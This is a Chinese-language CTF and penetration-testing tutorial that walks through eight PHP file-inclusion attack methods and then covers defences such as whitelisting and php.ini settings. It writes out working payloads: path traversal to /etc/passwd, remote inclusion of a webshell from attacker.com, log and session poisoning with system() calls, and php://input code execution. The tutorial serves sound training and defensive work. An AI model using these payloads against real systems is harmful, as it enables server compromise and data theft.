1. 项目概述从一道CTF题看文件包含漏洞的攻防博弈最近在带新人打CTF靶场特别是PTEPenetration Testing Engineer方向的题目时发现“文件包含”这个老生常谈的漏洞依然是很多人的拦路虎。题目往往只给一个简单的入口点比如一个带file参数的URL但背后的利用手法却可以千变万化。我遇到过一个典型的场景题目就叫“文件包含8”暗示有八种不同的渗透方法。这不仅仅是一道题更像是一个关于文件包含漏洞的“兵器谱”演练。对于Web安全初学者或是想巩固基础的从业者来说彻底吃透这八种方法就等于掌握了文件包含漏洞从基础到进阶的核心攻击面。这篇文章我就结合自己多年渗透测试和CTF解题的经验把这八种方法的原理、实操、绕过技巧和防御思路掰开揉碎了讲清楚。无论你是正在备赛的CTF选手还是希望深入理解漏洞原理的安全工程师都能从这里获得可以直接“抄作业”的实战指南。2. 文件包含漏洞核心原理与分类在深入那八种方法之前我们必须把地基打牢。文件包含漏洞本质上是一种“信任滥用”。程序的本意是好的它希望拥有一种灵活的机制能够动态地将不同的代码文件如头部、尾部、配置模块引入到当前脚本中执行从而提高代码的复用性。在PHP中这通常通过include、require、include_once、require_once这类函数来实现。漏洞的产生就在于这个“动态引入”的路径参数被我们用户所控制。想象一下程序员写了一句include($_GET[page] . .php);他的预期是用户会传入home、about这样的值最终引入home.php文件。但如果这个$_GET[page]没有经过严格的过滤和校验攻击者就可以传入诸如../../etc/passwd或http://evil.com/shell.txt这样的路径。这时程序“信任”了用户的输入去包含了一个非预期的文件漏洞就产生了。根据包含文件的位置我们通常分为两类本地文件包含LFI, Local File Inclusion包含的是服务器本地的文件。这是最基础的形式利用它可以读取服务器上的敏感文件如配置文件、日志、源代码等。远程文件包含RFI, Remote File Inclusion包含的是远程服务器攻击者控制上的文件。这通常需要allow_url_include配置为On默认是Off利用条件更为苛刻但危害也更大因为它可以直接导致远程代码执行RCE。而CTF题目中的“文件包含8”就是围绕这两种基本类型在各种限制条件下比如有过滤、有后缀拼接、有目录限制的八种典型突破姿势。理解原理后我们再看这些姿势就会清晰很多。2.1 为什么文件包含危害巨大它往往是一个关键的“突破口”和“跳板”。单独一个LFI可能只能读到一些信息。但在渗透测试的链条中它至关重要信息收集读取/etc/passwd了解用户读取\proc\self\environ获取环境变量可能含密钥读取Web应用配置文件如config.php获取数据库密码。获取Shell的桥梁通过包含日志文件如/var/log/apache2/access.log并在User-Agent或请求参数中注入PHP代码让日志文件变成“马”进而执行。配合其他漏洞与上传漏洞结合上传一个图片马然后通过文件包含来执行图片中的代码。直接RCE在RFI条件下直接包含远程的PHP Shell脚本。所以攻克文件包含是Web渗透测试中不可或缺的一环。3. 八种渗透方法深度拆解与实战下面我们进入核心部分。我将这八种方法归纳为三个层次基础读取层、过滤绕过层和高级利用层。每种方法我都会说明其适用场景、核心原理、具体Payload并附上我实战中踩过的坑和技巧。3.1 基础读取层利用绝对与相对路径这是最直白的方法用于简单的LFI场景。方法一绝对路径直接读取场景目标服务器路径已知或可猜测且没有任何目录遍历过滤。Payload?file/etc/passwd实操与解释直接使用Linux/Windows系统的绝对路径。在CTF中常见的flag可能就在根目录/flag、家目录/home/ctf/flag或当前目录./flag。Windows下可能是C:\Windows\System32\drivers\etc\hosts。心得首先尝试这个。如果成功说明漏洞非常“裸”。可以用它来读取Web服务器的配置文件如/etc/apache2/sites-available/000-default.conf寻找其他虚拟主机或路径线索。方法二相对路径与目录遍历../场景程序设置了基础包含目录但我们可以通过../回溯到上级目录。Payload?file../../../../etc/passwd实操与解释这是LFI的经典姿势。../代表上一级目录。你需要判断当前脚本所在位置并估算到目标文件的层级。例如如果脚本在/var/www/html/index.php要读取/etc/passwd可能需要../../../../etc/passwd从html到www到var到根目录。踩坑记录编码绕过如果程序过滤了../可以尝试URL编码、双重URL编码甚至Unicode编码。例如..%2f/的URL编码、..%252f双重编码、..%c0%af某些Unicode绕过。绝对路径失效时当程序使用chdir或open_basedir限制了目录相对路径遍历可能依然有效。注意在Windows系统中路径分隔符是\但多数情况下也可以使用/。目录遍历符是..\。有时也可以尝试....//或....\/这类变形来绕过简单的字符串过滤。3.2 过滤绕过层应对常见防御手段CTF和真实环境中开发者不会坐以待毙他们会增加过滤。这时就需要一些技巧。方法三利用PHP封装协议php://filter场景这是最常用、最强大的LFI利用技术即使不能直接执行代码也能读取源代码。它通常不受allow_url_include限制。核心原理php://filter是一种元封装器设计用于数据流打开时的筛选过滤应用。我们可以用它来对目标文件进行base64编码读取从而绕过一些显示限制或获取文件源码。Payload读取源码?filephp://filter/convert.base64-encode/resourceindex.php实操与解释这个Payload会让服务器先读取index.php的内容然后经过base64-encode过滤器处理最后输出。前端看到一堆base64字符串解码后就能得到index.php的完整源代码。这对于审计代码、寻找其他漏洞如数据库连接密码、其他包含点至关重要。高级技巧多重过滤器可以链式使用过滤器如php://filter/readconvert.base64-encode|convert.base64-encode/resourceindex.php双重编码有时用于绕过某些过滤。写入文件结合php://input和POST数据在某些配置下可以写入文件但限制较多。方法四利用编码与截断技巧场景程序在包含路径后会自动添加后缀如.php或者对输入长度有限制。核心原理%00截断空字节截断在PHP版本 5.3.4且magic_quotes_gpcOff时%00URL编码的空字符会被认为是字符串结束符。例如?file../../etc/passwd%00即使后面被加上了.php系统读到%00就停止实际包含的还是/etc/passwd。长路径截断在Windows下路径长度超过一定限制如256字节会被截断。可以构造?file../../etc/passwd/././././././././././././././././././././././././././././.重复很多次来使后缀.php被挤掉。实操心得%00截断是经典老招但现在遇到的PHP环境大多已修复。长路径截断主要在Windows特定场景下。在CTF中如果题目提示了PHP版本较老一定要优先尝试%00截断。方法五利用日志文件包含Log Poisoning场景无法直接RFI也找不到其他可包含的用户文件但可以读取服务器日志。核心原理Web服务器如Apache, Nginx的访问日志会记录每一个请求包括请求头User-Agent, Referer等。如果我们能在User-Agent或请求参数中插入一段PHP代码如?php system($_GET[‘c’]);?这段代码就会被原样写入日志文件。然后我们利用LFI漏洞去包含这个日志文件其中的PHP代码就会被执行。步骤探测日志路径先通过LFI读取已知配置文件猜测日志路径。常见路径/var/log/apache2/access.log,/var/log/nginx/access.log,/var/log/httpd/access_log。投毒用Burp Suite或Curl发送一个请求将恶意代码放在User-Agent里。User-Agent: ?php system($_GET[‘cmd’]);?包含执行?file/var/log/apache2/access.logcmdid踩坑记录日志文件可能很大包含会导致超时或内存耗尽。可以尝试包含错误日志error.log通常更小。日志中的特殊字符如,,?,空格可能会被转义或编码导致代码无法正常解析。需要测试哪种注入位置User-Agent, Referer, GET参数最稳定。有时需要URL编码?php为%3C%3Fphp。确保Web进程对日志文件有读取权限。3.3 高级利用层通向RCE与深度利用这些方法往往能直接获取服务器权限或进行深度利用。方法六远程文件包含RFI场景allow_url_includeOn可通过phpinfo()页面确认。这是通向RCE最直接的路径。Payload?filehttp://attacker.com/shell.txt实操与解释在攻击者控制的服务器attacker.com上放置一个纯文本文件shell.txt内容为?php eval($_POST[‘a’]);?。当目标服务器包含这个URL时会下载该文件内容并将其作为PHP代码执行攻击者便可以用中国菜刀/蚁剑等工具连接?filehttp://attacker.com/shell.txtasystem(‘id’);来执行命令。关键点需要目标PHP配置允许包含HTTP/HTTPS URL。远程文件的内容必须不能包含任何HTML或PHP标签之外的字符否则可能导致执行失败。最好就是一个干净的PHP Shell。如果目标服务器无法出网无外网连接则RFI失效。方法七利用PHP内置临时文件php://input场景allow_url_includeOn且allow_url_fopenOn但无法进行RFI例如服务器禁用了HTTP包装器。核心原理php://input是一个只读的数据流可以访问请求的原始数据即POST过来的数据。我们可以通过POST请求将PHP代码直接发送给这个流然后包含它。Payload与步骤发送一个POST请求。请求URL?filephp://input请求体Body?php system(‘whoami’);?实操心得这个方法非常直接有效。在Burp Suite中操作极其方便。但同样受配置限制且要求请求方式是POST。方法八利用Session文件包含场景非常隐蔽的一种方式适用于可以控制部分Session内容且知道Session文件存储路径的情况。核心原理PHP会将Session数据存储在服务器的一个文件中如/tmp/sess_[sessionid]。如果我们可以向Session中写入数据例如通过一个设置$_SESSION[‘name’]的页面并且这个数据我们部分可控那么我们就可以将恶意代码写入Session文件然后通过LFI包含这个Session文件。步骤获取Session ID通过Cookie中的PHPSESSID获取。猜测Session路径默认是/tmp/sess_PHPSESSID。也可以通过phpinfo()中的session.save_path查看。污染Session找到一个能设置Session变量的功能点比如用户昵称、邮箱。将昵称设置为?php system($_GET[‘c’]);?。包含Session文件?file/tmp/sess_abc123def456其中abc123def456是你的PHPSESSID。难点与技巧需要有一个能写入Session的地方并且写入的内容会原样保存不过滤 ?。Session文件的内容格式通常是变量名|序列化值。我们的恶意代码需要能够被正确解析。有时需要闭合前后的序列化字符串比较复杂。这是一种“旁路”攻击在CTF中常与其他漏洞如反序列化结合出现。4. 实战融合CTF-PTE文件包含8解题思路推演假设我们拿到一个名为“文件包含8”的题目入口是http://target/vuln.php?filehello。页面回显了“Hello”字样可能引入了hello.php。我们的系统化攻击流程如下信息收集访问vuln.php?filephp://filter/convert.base64-encode/resourcevuln.php获取漏洞点源代码分析过滤逻辑。访问phpinfo.php如果存在查看allow_url_include,allow_url_fopen,open_basedir,session.save_path等关键配置。尝试读取/etc/passwd、/proc/self/environ环境变量可能包含路径信息、Web服务器配置文件。基础探测?file../../../../etc/passwd目录遍历?file/etc/passwd绝对路径观察是否有后缀追加如访问?filetest是否返回test.php的内容。如果是考虑截断。过滤测试如果发现过滤了../尝试..%2f、..%252f、....//。如果过滤了php://尝试大小写混写PHP://或Php://某些简单过滤不区分大小写。如果过滤了http://尝试HTTP://、HtTp://或者使用其他协议如ftp://、expect://需扩展支持。进阶利用如果可RFI立刻准备一个远程Shell脚本尝试包含。如果可读日志尝试包含/var/log/apache2/access.log并在User-Agent中投毒。如果可控制Session寻找用户可控点如更新资料污染Session后包含。如果存在上传点上传一个图片马内容为?php eval($_POST[‘a’]);?然后通过文件包含漏洞执行这个图片文件。获取Flag通过上述任意一种方法获取RCE权限后使用命令查找flag。常见命令find / -name “*flag*” 2/dev/nullfind / -type f -exec grep -l “flag{“ {} \; 2/dev/nullcat /flagcat /home/ctf/flagcat /flag.txt5. 防御视角如何避免文件包含漏洞作为开发者理解攻击手法是为了更好地防御。以下是一些核心原则白名单校验这是最有效的方法。不要使用用户输入直接作为包含路径。应该维护一个允许包含的文件名白名单如[‘home.php’, ‘about.php’, ‘contact.php’]用户传入的参数只作为索引或映射值。$allowed_pages [‘home’ ‘home.php’, ‘about’ ‘about.php’]; $page $_GET[‘page’]; if (array_key_exists($page, $allowed_pages)) { include($allowed_pages[$page]); } else { include(‘default.php’); }固定目录后缀如果必须动态包含应将文件限制在某个特定目录下并强制添加后缀。$base_dir ‘/var/www/html/includes/’; $file basename($_GET[‘file’]); // 使用 basename 去除路径 include($base_dir . $file . ‘.php’);禁用危险配置在php.ini中确保allow_url_fopen Offallow_url_include Off设置open_basedir将PHP可操作的文件限制在Web目录所需的最小范围内。过滤输入虽然不如白名单可靠但仍需进行。过滤../、..\、php://、http://等危险字符串。注意使用递归过滤或正则表达式确保彻底。使用安全的函数考虑使用file_get_contents()读取非PHP文件内容进行显示而不是include。或者使用模板引擎。文件包含漏洞的攻防是一场关于“信任”和“控制”的博弈。对于攻击者目标是不断扩大可控输入的影响范围对于防御者目标是将其牢牢锁死在预期的牢笼里。掌握这八种方法不仅仅是记住了八个Payload更是理解了在不同限制条件下如何灵活运用系统特性、协议和程序逻辑来达成目标。在真实的渗透测试或CTF比赛中往往需要将多种方法组合、串联并辅以耐心的信息收集和不断的测试尝试。希望这篇近万字的拆解能成为你武器库中一件称手的兵器。最后记住在合法授权的范围内进行所有测试并将这些知识用于加固系统而非破坏。